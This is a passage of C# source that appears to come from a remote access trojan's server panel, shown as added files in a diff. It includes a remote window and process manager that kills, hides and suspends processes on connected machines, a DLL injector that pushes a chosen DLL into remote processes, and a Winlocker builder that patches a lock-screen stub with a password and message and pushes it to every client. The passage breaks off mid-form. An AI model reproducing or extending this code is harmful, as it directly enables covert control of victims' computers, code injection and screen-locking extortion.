this.trackBar1.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.trackBar1.Enabled = false;
this.trackBar1.Location = new System.Drawing.Point(14, 14);
this.trackBar1.Maximum = 100;
this.trackBar1.Name = "trackBar1";
this.trackBar1.Size = new System.Drawing.Size(309, 45);
this.trackBar1.TabIndex = 30;
this.trackBar1.Scroll += new System.EventHandler(trackBar1_Scroll);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(344, 137);
base.Controls.Add(this.panel1);
base.Name = "FormVolumeControl";
this.Text = "Volume ";
base.Load += new System.EventHandler(FormProcess_Load);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.trackBar1).EndInit();
base.ResumeLayout(false);
}
}
+517
View File
@@ -0,0 +1,517 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Reflection;
using System.Threading.Tasks;
using System.Windows.Forms;
using Leb128;
using MaterialSkin;
using MaterialSkin.Controls;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormWindow : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
private ContextMenuStrip contextMenuStrip1;
private ToolStripMenuItem stopToolStripMenuItem;
private Panel panel1;
public DataGridView dataGridView2;
public MaterialLabel materialLabel1;
private ToolStripMenuItem startToolStripMenuItem;
private ToolStripMenuItem toolStripMenuItem1;
private ToolStripSeparator sToolStripMenuItem;
private ToolStripSeparator dToolStripMenuItem;
private ToolStripMenuItem killProcessToolStripMenuItem;
private ToolStripMenuItem suspendProcessToolStripMenuItem;
private ToolStripMenuItem resumeProcessToolStripMenuItem;
private DataGridViewTextBoxColumn Column1;
private DataGridViewTextBoxColumn Column2;
private DataGridViewTextBoxColumn Column3;
private DataGridViewTextBoxColumn Column4;
private DataGridViewTextBoxColumn Column5;
private ToolStripMenuItem toolStripMenuItem2;
private ToolStripMenuItem toolStripMenuItem3;
private ToolStripMenuItem dllInjectorToolStripMenuItem;
private ToolStripMenuItem x64ToolStripMenuItem;
private ToolStripMenuItem x32ToolStripMenuItem;
public FormWindow()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
typeof(DataGridView).InvokeMember("DoubleBuffered", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.SetProperty, null, dataGridView2, new object[1] { true });
}
private void ChangeScheme(object sender)
{
dataGridView2.ColumnHeadersDefaultCellStyle.SelectionForeColor = FormMaterial.PrimaryColor;
dataGridView2.ColumnHeadersDefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
dataGridView2.DefaultCellStyle.SelectionBackColor = FormMaterial.PrimaryColor;
dataGridView2.DefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
private int[] PidsSelected()
{
List<int> list = new List<int>();
foreach (DataGridViewRow selectedRow in dataGridView2.SelectedRows)
{
list.Add((int)selectedRow.Cells[3].Value);
}
return list.ToArray();
}
private int[] HandleSelected()
{
List<int> list = new List<int>();
foreach (DataGridViewRow selectedRow in dataGridView2.SelectedRows)
{
list.Add((int)selectedRow.Cells[2].Value);
}
return list.ToArray();
}
private void toolStripMenuItem1_Click(object sender, EventArgs e)
{
client.Send(LEB128.Write(new object[1] { "Refresh" }));
}
private void killProcessToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
int[] array = PidsSelected();
foreach (int num in array)
{
client.Send(LEB128.Write(new object[2] { "Kill", num }));
}
}
}
private void suspendProcessToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
int[] array = PidsSelected();
foreach (int num in array)
{
client.Send(LEB128.Write(new object[2] { "Suspend", num }));
}
}
}
private void resumeProcessToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
int[] array = PidsSelected();
foreach (int num in array)
{
client.Send(LEB128.Write(new object[2] { "Resume", num }));
}
}
}
private void toolStripMenuItem2_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
int[] array = PidsSelected();
foreach (int num in array)
{
client.Send(LEB128.Write(new object[2] { "KillRemove", num }));
}
}
}
private void toolStripMenuItem3_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
int[] array = HandleSelected();
foreach (int num in array)
{
client.Send(LEB128.Write(new object[2] { "Maximize", num }));
}
}
}
private void stopToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
int[] array = HandleSelected();
foreach (int num in array)
{
client.Send(LEB128.Write(new object[2] { "Minimize", num }));
}
}
}
private void startToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count != 0)
{
int[] array = HandleSelected();
foreach (int num in array)
{
client.Send(LEB128.Write(new object[2] { "RestoreHide", num }));
}
}
}
private void x64ToolStripMenuItem_Click(object sender, EventArgs e)
{
string checksum = Methods.GetChecksum("Plugin\\Injector.dll");
OpenFileDialog openFileDialog = new OpenFileDialog();
try
{
openFileDialog.Title = "Choose dll";
openFileDialog.Filter = "Files(*.dll)|*.dll";
openFileDialog.Multiselect = false;
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
Task.Run(delegate
{
parrent.Send(new object[3]
{
"Invoke",
checksum,
LEB128.Write(new object[4]
{
"InjectX64",
Path.GetFileName(openFileDialog.FileName),
File.ReadAllBytes(openFileDialog.FileName),
string.Join(";", PidsSelected())
})
});
});
}
}
finally
{
if (openFileDialog != null)
{
((IDisposable)openFileDialog).Dispose();
}
}
}
private void x32ToolStripMenuItem_Click(object sender, EventArgs e)
{
string checksum = Methods.GetChecksum("Plugin\\Injector.dll");
OpenFileDialog openFileDialog = new OpenFileDialog();
try
{
openFileDialog.Title = "Choose dll";
openFileDialog.Filter = "Files(*.dll)|*.dll";
openFileDialog.Multiselect = false;
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
Task.Run(delegate
{
parrent.Send(new object[3]
{
"Invoke",
checksum,
LEB128.Write(new object[4]
{
"InjectX32",
Path.GetFileName(openFileDialog.FileName),
File.ReadAllBytes(openFileDialog.FileName),
string.Join(";", PidsSelected())
})
});
});
}
}
finally
{
if (openFileDialog != null)
{
((IDisposable)openFileDialog).Dispose();
}
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormWindow));
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.sToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator();
this.toolStripMenuItem3 = new System.Windows.Forms.ToolStripMenuItem();
this.stopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.startToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.dToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator();
this.killProcessToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.suspendProcessToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.resumeProcessToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.panel1 = new System.Windows.Forms.Panel();
this.materialLabel1 = new MaterialSkin.Controls.MaterialLabel();
this.dataGridView2 = new System.Windows.Forms.DataGridView();
this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column5 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.dllInjectorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.x64ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.x32ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuStrip1.SuspendLayout();
this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.dataGridView2).BeginInit();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[11]
{
this.toolStripMenuItem1, this.sToolStripMenuItem, this.toolStripMenuItem3, this.stopToolStripMenuItem, this.startToolStripMenuItem, this.dToolStripMenuItem, this.killProcessToolStripMenuItem, this.toolStripMenuItem2, this.dllInjectorToolStripMenuItem, this.suspendProcessToolStripMenuItem,
this.resumeProcessToolStripMenuItem
});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(191, 236);
this.toolStripMenuItem1.Image = (System.Drawing.Image)resources.GetObject("toolStripMenuItem1.Image");
this.toolStripMenuItem1.Name = "toolStripMenuItem1";
this.toolStripMenuItem1.Size = new System.Drawing.Size(190, 22);
this.toolStripMenuItem1.Text = "Refresh";
this.toolStripMenuItem1.Click += new System.EventHandler(toolStripMenuItem1_Click);
this.sToolStripMenuItem.Name = "sToolStripMenuItem";
this.sToolStripMenuItem.Size = new System.Drawing.Size(187, 6);
this.toolStripMenuItem3.Image = (System.Drawing.Image)resources.GetObject("toolStripMenuItem3.Image");
this.toolStripMenuItem3.Name = "toolStripMenuItem3";
this.toolStripMenuItem3.Size = new System.Drawing.Size(190, 22);
this.toolStripMenuItem3.Text = "Maximize";
this.toolStripMenuItem3.Click += new System.EventHandler(toolStripMenuItem3_Click);
this.stopToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("stopToolStripMenuItem.Image");
this.stopToolStripMenuItem.Name = "stopToolStripMenuItem";
this.stopToolStripMenuItem.Size = new System.Drawing.Size(190, 22);
this.stopToolStripMenuItem.Text = "Minimize";
this.stopToolStripMenuItem.Click += new System.EventHandler(stopToolStripMenuItem_Click);
this.startToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("startToolStripMenuItem.Image");
this.startToolStripMenuItem.Name = "startToolStripMenuItem";
this.startToolStripMenuItem.Size = new System.Drawing.Size(190, 22);
this.startToolStripMenuItem.Text = "Show / Hide";
this.startToolStripMenuItem.Click += new System.EventHandler(startToolStripMenuItem_Click);
this.dToolStripMenuItem.Name = "dToolStripMenuItem";
this.dToolStripMenuItem.Size = new System.Drawing.Size(187, 6);
this.killProcessToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("killProcessToolStripMenuItem.Image");
this.killProcessToolStripMenuItem.Name = "killProcessToolStripMenuItem";
this.killProcessToolStripMenuItem.Size = new System.Drawing.Size(190, 22);
this.killProcessToolStripMenuItem.Text = "Kill Process";
this.killProcessToolStripMenuItem.Click += new System.EventHandler(killProcessToolStripMenuItem_Click);
this.toolStripMenuItem2.Image = (System.Drawing.Image)resources.GetObject("toolStripMenuItem2.Image");
this.toolStripMenuItem2.Name = "toolStripMenuItem2";
this.toolStripMenuItem2.Size = new System.Drawing.Size(190, 22);
this.toolStripMenuItem2.Text = "Kill Process + Remove";
this.toolStripMenuItem2.Click += new System.EventHandler(toolStripMenuItem2_Click);
this.suspendProcessToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("suspendProcessToolStripMenuItem.Image");
this.suspendProcessToolStripMenuItem.Name = "suspendProcessToolStripMenuItem";
this.suspendProcessToolStripMenuItem.Size = new System.Drawing.Size(190, 22);
this.suspendProcessToolStripMenuItem.Text = "Suspend Process";
this.suspendProcessToolStripMenuItem.Click += new System.EventHandler(suspendProcessToolStripMenuItem_Click);
this.resumeProcessToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("resumeProcessToolStripMenuItem.Image");
this.resumeProcessToolStripMenuItem.Name = "resumeProcessToolStripMenuItem";
this.resumeProcessToolStripMenuItem.Size = new System.Drawing.Size(190, 22);
this.resumeProcessToolStripMenuItem.Text = "Resume Process";
this.resumeProcessToolStripMenuItem.Click += new System.EventHandler(resumeProcessToolStripMenuItem_Click);
this.panel1.Controls.Add(this.materialLabel1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panel1.Location = new System.Drawing.Point(3, 529);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(894, 20);
this.panel1.TabIndex = 1;
this.materialLabel1.AutoSize = true;
this.materialLabel1.Depth = 0;
this.materialLabel1.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel1.Location = new System.Drawing.Point(2, 1);
this.materialLabel1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel1.Name = "materialLabel1";
this.materialLabel1.Size = new System.Drawing.Size(94, 19);
this.materialLabel1.TabIndex = 1;
this.materialLabel1.Text = "Please wait...";
this.dataGridView2.AllowDrop = true;
this.dataGridView2.AllowUserToAddRows = false;
this.dataGridView2.AllowUserToDeleteRows = false;
this.dataGridView2.AllowUserToResizeColumns = false;
this.dataGridView2.AllowUserToResizeRows = false;
this.dataGridView2.BackgroundColor = System.Drawing.Color.White;
this.dataGridView2.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.dataGridView2.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.dataGridView2.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.SelectionBackColor = System.Drawing.Color.White;
dataGridViewCellStyle.SelectionForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView2.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.dataGridView2.Columns.AddRange(this.Column1, this.Column2, this.Column3, this.Column4, this.Column5);
this.dataGridView2.ContextMenuStrip = this.contextMenuStrip1;
this.dataGridView2.Cursor = System.Windows.Forms.Cursors.Default;
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.White;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView2.DefaultCellStyle = dataGridViewCellStyle2;
this.dataGridView2.Dock = System.Windows.Forms.DockStyle.Fill;
this.dataGridView2.Enabled = false;
this.dataGridView2.EnableHeadersVisualStyles = false;
this.dataGridView2.GridColor = System.Drawing.Color.FromArgb(17, 17, 17);
this.dataGridView2.Location = new System.Drawing.Point(3, 64);
this.dataGridView2.Name = "dataGridView2";
this.dataGridView2.ReadOnly = true;
this.dataGridView2.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle3.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView2.RowHeadersDefaultCellStyle = dataGridViewCellStyle3;
this.dataGridView2.RowHeadersVisible = false;
this.dataGridView2.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.dataGridView2.ShowCellErrors = false;
this.dataGridView2.ShowCellToolTips = false;
this.dataGridView2.ShowEditingIcon = false;
this.dataGridView2.ShowRowErrors = false;
this.dataGridView2.Size = new System.Drawing.Size(894, 465);
this.dataGridView2.TabIndex = 17;
this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column1.HeaderText = "Title Text";
this.Column1.MinimumWidth = 100;
this.Column1.Name = "Column1";
this.Column1.ReadOnly = true;
this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column2.HeaderText = "Visible";
this.Column2.Name = "Column2";
this.Column2.ReadOnly = true;
this.Column2.Width = 67;
this.Column3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column3.HeaderText = "Window Handle";
this.Column3.MinimumWidth = 150;
this.Column3.Name = "Column3";
this.Column3.ReadOnly = true;
this.Column3.Width = 150;
this.Column4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column4.HeaderText = "Process ID";
this.Column4.MinimumWidth = 100;
this.Column4.Name = "Column4";
this.Column4.ReadOnly = true;
this.Column5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
this.Column5.HeaderText = "Path";
this.Column5.MinimumWidth = 150;
this.Column5.Name = "Column5";
this.Column5.ReadOnly = true;
this.dllInjectorToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[2] { this.x64ToolStripMenuItem, this.x32ToolStripMenuItem });
this.dllInjectorToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("dllInjectorToolStripMenuItem.Image");
this.dllInjectorToolStripMenuItem.Name = "dllInjectorToolStripMenuItem";
this.dllInjectorToolStripMenuItem.Size = new System.Drawing.Size(190, 22);
this.dllInjectorToolStripMenuItem.Text = "Dll Injector";
this.x64ToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("x64ToolStripMenuItem.Image");
this.x64ToolStripMenuItem.Name = "x64ToolStripMenuItem";
this.x64ToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.x64ToolStripMenuItem.Text = "X64";
this.x64ToolStripMenuItem.Click += new System.EventHandler(x64ToolStripMenuItem_Click);
this.x32ToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("x32ToolStripMenuItem.Image");
this.x32ToolStripMenuItem.Name = "x32ToolStripMenuItem";
this.x32ToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.x32ToolStripMenuItem.Text = "X32";
this.x32ToolStripMenuItem.Click += new System.EventHandler(x32ToolStripMenuItem_Click);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(900, 552);
base.Controls.Add(this.dataGridView2);
base.Controls.Add(this.panel1);
base.Name = "FormWindow";
this.Text = "Window";
base.Load += new System.EventHandler(FormProcess_Load);
this.contextMenuStrip1.ResumeLayout(false);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.dataGridView2).EndInit();
base.ResumeLayout(false);
}
}
+241
View File
@@ -0,0 +1,241 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
using CustomControls.RJControls;
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using Leb128;
using MaterialSkin;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormWinlocker : FormMaterial
{
public Clients[] clients;
private IContainer components;
private Panel panel1;
private RJTextBox rjTextBox1;
private RJTextBox rjTextBox2;
private RJTextBox rjTextBox3;
private RJButton rjButton5;
private RJButton rjButton1;
public FormWinlocker()
{
InitializeComponent();
}
private void FormWinlocker_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
}
private void ChangeScheme(object sender)
{
rjTextBox1.BorderColor = FormMaterial.PrimaryColor;
rjTextBox2.BorderColor = FormMaterial.PrimaryColor;
rjTextBox3.BorderColor = FormMaterial.PrimaryColor;
rjButton1.BackColor = FormMaterial.PrimaryColor;
rjButton5.BackColor = FormMaterial.PrimaryColor;
}
private void rjButton5_Click(object sender, EventArgs e)
{
string text = "Stub\\WinlockerBulid.exe";
using (ModuleDefMD moduleDefMD = ModuleDefMD.Load("Stub\\Winlocker.exe"))
{
foreach (TypeDef type in moduleDefMD.Types)
{
foreach (MethodDef method in type.Methods)
{
if (method.Body == null)
{
continue;
}
for (int i = 0; i < method.Body.Instructions.Count(); i++)
{
if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr)
{
if ((string)method.Body.Instructions[i].Operand == "%Password%")
{
method.Body.Instructions[i].Operand = rjTextBox1.Texts;
}
if ((string)method.Body.Instructions[i].Operand == "%Title%")
{
method.Body.Instructions[i].Operand = rjTextBox2.Texts;
}
if ((string)method.Body.Instructions[i].Operand == "%Description%")
{
method.Body.Instructions[i].Operand = rjTextBox3.Texts;
}
}
}
}
}
moduleDefMD.Write(text);
moduleDefMD.Dispose();
}
string checksum = Methods.GetChecksum(text);
byte[] pack = LEB128.Write(new object[3] { "SendDiskGet", text, checksum });
string checksum2 = Methods.GetChecksum("Plugin\\SendFile.dll");
Clients[] array = this.clients;
foreach (Clients clients in array)
{
Task.Run(delegate
{
clients.Send(new object[3] { "Invoke", checksum2, pack });
});
}
Close();
}
private void rjButton1_Click(object sender, EventArgs e)
{
Close();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.panel1 = new System.Windows.Forms.Panel();
this.rjTextBox1 = new CustomControls.RJControls.RJTextBox();
this.rjTextBox2 = new CustomControls.RJControls.RJTextBox();
this.rjTextBox3 = new CustomControls.RJControls.RJTextBox();
this.rjButton5 = new CustomControls.RJControls.RJButton();
this.rjButton1 = new CustomControls.RJControls.RJButton();
this.panel1.SuspendLayout();
base.SuspendLayout();
this.panel1.BackColor = System.Drawing.Color.White;
this.panel1.Controls.Add(this.rjButton1);
this.panel1.Controls.Add(this.rjButton5);
this.panel1.Controls.Add(this.rjTextBox3);
this.panel1.Controls.Add(this.rjTextBox2);
this.panel1.Controls.Add(this.rjTextBox1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;
this.panel1.Location = new System.Drawing.Point(3, 64);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(624, 383);
this.panel1.TabIndex = 0;
this.rjTextBox1.BackColor = System.Drawing.SystemColors.Window;
this.rjTextBox1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjTextBox1.BorderFocusColor = System.Drawing.Color.HotPink;
this.rjTextBox1.BorderRadius = 0;
this.rjTextBox1.BorderSize = 1;
this.rjTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox1.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.rjTextBox1.Location = new System.Drawing.Point(4, 4);
this.rjTextBox1.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox1.Multiline = false;
this.rjTextBox1.Name = "rjTextBox1";
this.rjTextBox1.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox1.PasswordChar = false;
this.rjTextBox1.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox1.PlaceholderText = "Password";
this.rjTextBox1.Size = new System.Drawing.Size(240, 31);
this.rjTextBox1.TabIndex = 33;
this.rjTextBox1.Texts = "";
this.rjTextBox1.UnderlinedStyle = false;
this.rjTextBox2.BackColor = System.Drawing.SystemColors.Window;
this.rjTextBox2.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjTextBox2.BorderFocusColor = System.Drawing.Color.HotPink;
this.rjTextBox2.BorderRadius = 0;
this.rjTextBox2.BorderSize = 1;
this.rjTextBox2.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox2.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.rjTextBox2.Location = new System.Drawing.Point(252, 4);
this.rjTextBox2.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox2.Multiline = false;
this.rjTextBox2.Name = "rjTextBox2";
this.rjTextBox2.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox2.PasswordChar = false;
this.rjTextBox2.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox2.PlaceholderText = "Title";
this.rjTextBox2.Size = new System.Drawing.Size(368, 31);
this.rjTextBox2.TabIndex = 34;
this.rjTextBox2.Texts = "";
this.rjTextBox2.UnderlinedStyle = false;
this.rjTextBox3.BackColor = System.Drawing.SystemColors.Window;
this.rjTextBox3.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjTextBox3.BorderFocusColor = System.Drawing.Color.HotPink;
this.rjTextBox3.BorderRadius = 0;
this.rjTextBox3.BorderSize = 1;
this.rjTextBox3.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox3.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.rjTextBox3.Location = new System.Drawing.Point(4, 43);
this.rjTextBox3.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox3.Multiline = true;
this.rjTextBox3.Name = "rjTextBox3";
this.rjTextBox3.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox3.PasswordChar = false;
this.rjTextBox3.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox3.PlaceholderText = "Description";
this.rjTextBox3.Size = new System.Drawing.Size(616, 290);
this.rjTextBox3.TabIndex = 35;
this.rjTextBox3.Texts = "";
this.rjTextBox3.UnderlinedStyle = false;
this.rjButton5.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton5.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton5.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton5.BorderRadius = 0;
this.rjButton5.BorderSize = 0;
this.rjButton5.FlatAppearance.BorderSize = 0;
this.rjButton5.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton5.Font = new System.Drawing.Font("Arial", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.rjButton5.ForeColor = System.Drawing.Color.White;
this.rjButton5.Location = new System.Drawing.Point(527, 340);
this.rjButton5.Name = "rjButton5";
this.rjButton5.Size = new System.Drawing.Size(93, 31);
this.rjButton5.TabIndex = 47;
this.rjButton5.Text = "Send";
this.rjButton5.TextColor = System.Drawing.Color.White;
this.rjButton5.UseVisualStyleBackColor = false;
this.rjButton5.Click += new System.EventHandler(rjButton5_Click);
this.rjButton1.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 0;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.Font = new System.Drawing.Font("Arial", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.rjButton1.ForeColor = System.Drawing.Color.White;
this.rjButton1.Location = new System.Drawing.Point(428, 340);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(93, 31);
this.rjButton1.TabIndex = 48;
this.rjButton1.Text = "Cancel";
this.rjButton1.TextColor = System.Drawing.Color.White;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
